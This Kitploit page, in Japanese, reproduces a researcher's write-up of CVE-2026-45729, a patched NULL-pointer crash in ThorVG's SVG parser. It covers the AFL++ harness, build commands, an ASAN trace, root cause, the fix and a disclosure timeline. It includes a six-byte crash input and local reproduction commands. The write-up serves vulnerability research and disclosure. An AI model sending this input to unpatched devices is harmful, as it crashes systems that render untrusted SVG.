Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/yeahhbean/cve-2026-45729
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトファジングバイナリ解析
GitHubyeahhbean/cve-2026-45729

CVE-2026-45729

ThorVG における不正なSVGによるNULLポインタ参照 — AFL++ファジングのwriteup

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-45729 — 不正なSVGによるThorVGのNULLポインタ逆参照

深刻度: CVSS 4.3(Medium)— CWE-476
アドバイザリ: GHSA-f863-8ghq-7h64
修正版: ThorVG v1.0.5
ステータス: パッチ適用済み / 公開済み


概要

ThorVGのSVGパーサーは、ルート<svg>ノード内で切り詰められた子要素タグに遭遇すると、初期化されていないポインタを逆参照します。このバグは通常のレンダリングパス(tvg::Picture::load → parse → render)を通じて到達可能であり、6バイトの入力でトリガーできます。

標準的なLinuxでの最悪の影響はプロセスクラッシュ(DoS)です — mmap_min_addrがNULLページのマッピングを防ぐため、その環境では障害がコード実行に直接悪用可能になることはありません。ThorVGが使用されるMMUなしのターゲット(Tizen、LVGLベースのファームウェア)では、悪用可能性の状況は異なり、より詳細な調査が必要です。


ターゲット選定の根拠

ThorVGはC++17で書かれたクロスプラットフォームのベクターグラフィックスエンジンです。Samsung Tizen OSのデフォルトのSVG/Lottieレンダラーであり、LVGL(組み込み/IoT UIで広く使用されています)にバンドルされ、複数のプラットフォームでスタンドアロンライブラリとして配布されています。

このライブラリは信頼できないSVG/JSON入力を処理し、特権分離がないコンテキストで公開されることがよくあります。グラフィックスライブラリのパーサーコードは、歴史的にメモリ安全性バグの確実な発生源となってきました — ThorVGは活発に開発されており、この調査時点では公開バグトラッカーに記録されたファジングカバレッジはありませんでした。


ファジングセットアップ

ハーネス

このハーネスはThorVGのインメモリロードAPIをラップし、AFL++がディスクI/Oなしでパーサーを直接駆動できるようにします。

root@kitploit:~
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

ASAN + カバレッジ計測でビルド:

root@kitploit:~
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

シードコーパス

ランダムバイトから始めると、フォーマットに敏感なパーサーではうまく機能しません。以下のような構造的に有効な最小限のSVGファイル群でコーパスをシードしました:

  • 空のSVG(<svg xmlns="..."/>)
  • 基本図形を含むSVG(<rect>、<circle>、<path>)
  • ネストした<g>グループを含むSVG
  • <use> xlink参照を含むSVG
  • 小さなLottie/JSONアニメーション(ThorVGはこのフォーマットも処理します)

構造を考慮したシードにより、私の環境では最初の興味深いパスに到達するまでの時間が数時間から20分未満に短縮されました。

AFL++フラグ

root@kitploit:~
AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — 有効なタグ名に向けた変異を支援する、SVGキーワードを含むAFL++トークン辞書。
-m none — ASANのシャドウメモリには、AFL++のメモリ制限を無効化する必要があります。


クラッシュの発見

AFL++はシングルコアでのファジング約3時間後にクラッシュを生成しました。最初のクラッシュ入力は約180バイトでした。ASANの出力:

root@kitploit:~
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

この障害は、_parseStyle内で初期化されていない(NULL)SvgNode*ポインタを介した読み取りです。このポインタは_createElementが子要素を処理する際に設定される想定ですが、切り詰められたタグ名により要素はスキップされてポインタが割り当てられず、_parseStyleはそのポインタを逆参照し続けます。


最小化

afl-tminで最小化し、その後手動で削減:

root@kitploit:~
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

afl-tmin後、入力は14バイトになりました。パースパスの手動調査により、障害発生までに最初の6バイトのみが消費されることがわかりました:

root@kitploit:~
<svg><

<svg>はルートノードを開きます。<は子要素タグを開始します。パーサーはタグ名を読み取り、空文字列を取得し(入力は<の直後に終了します)、要素の作成をスキップして、ノードポインタがNULLのまま_parseStyleにフォールスルーします。

6バイトのトリガーが再現することを確認:

root@kitploit:~
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

根本原因

root@kitploit:~
src/loaders/svg/tvgSvgParser.cpp

脆弱なフローの簡略化された疑似コード:

root@kitploit:~
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr

// No NULL check before passing into style parser
_parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18

v1.0.5の修正では、属性/スタイル処理が試行される前に、_createElementがnullptrを返した場合に要素ディスパッチループで早期リターンを追加しています。


悪用可能性の分析

標準的なLinux(CVSS 4.3 / Medium)

/proc/sys/vm/mmap_min_addrは、最新のディストリビューションでは通常65536に設定されています。NULLページはマッピングされていないため、CPUはSIGSEGVを発生させ、カーネルがそれをプロセスへのシグナルに変換します — 結果は**クラッシュ(DoS)**です。制御された書き込みもPC制御もなく、コード実行に直接悪用可能ではありません。

組み込み / MMUなしターゲット

ThorVGはTizen(SamsungのIoT/ウェアラブルOS)でファーストクラスにサポートされており、MMUを持たないマイクロコントローラやシステム上で動作するLVGLにも統合されています。

MMUなしのシステムではメモリ保護がなく、mmap_min_addrは適用されません。NULLページがマッピングされている場合(ベアメタル組み込み環境では一般的です)、NULLポインタ逆参照が攻撃者が制御するメモリを指す可能性があります。実際の攻撃で到達可能かどうかは攻撃面に依存します — Tizenデバイス上のThorVGは、信頼できないネットワークソースやユーザー提供のコンテンツからSVGをパースする可能性があります。

この状況こそ、CVSS Mediumの脆弱性であっても責任ある開示が正当化される理由です。


開示のタイムライン


パッチ差分(概要)

このパッチはSVG要素ディスパッチループにNULLガードを追加します:

root@kitploit:~
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // unconditional

// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // skip if element was not created
_parseStyle(node, attrs);

完全な差分: ThorVG v1.0.5リリース


再現(安全、ローカルのみ)

root@kitploit:~
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build

# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin

期待される出力: tvg::SvgParser::_parseStyle内でのSEGV on unknown address 0x000000000000を示すASANレポート。


参考文献

  • GHSA-f863-8ghq-7h64
  • ThorVGプロジェクト
  • CWE-476: NULLポインタ逆参照
  • AFL++ドキュメント

yeahbbean(이예빈)により、構造を考慮したSVGシードコーパスを使用したAFL++カバレッジガイド付きファジングで発見されました。

ツールをダウンロード
日付イベント
2026-xx-xxAFL++経由でクラッシュを発見
2026-xx-xxASAN下で根本原因を確認; 6バイトのPOCを作成
2026-xx-xxGitHub Security Advisory経由でThorVGメンテナ(hermet)に非公開レポートを送付
2026-xx-xxメンテナが確認し、非公開フォークを開設
2026-xx-xxパッチをv1.0.5にマージ
2026-xx-xxGHSA-f863-8ghq-7h64を公開; CVE-2026-45729を採番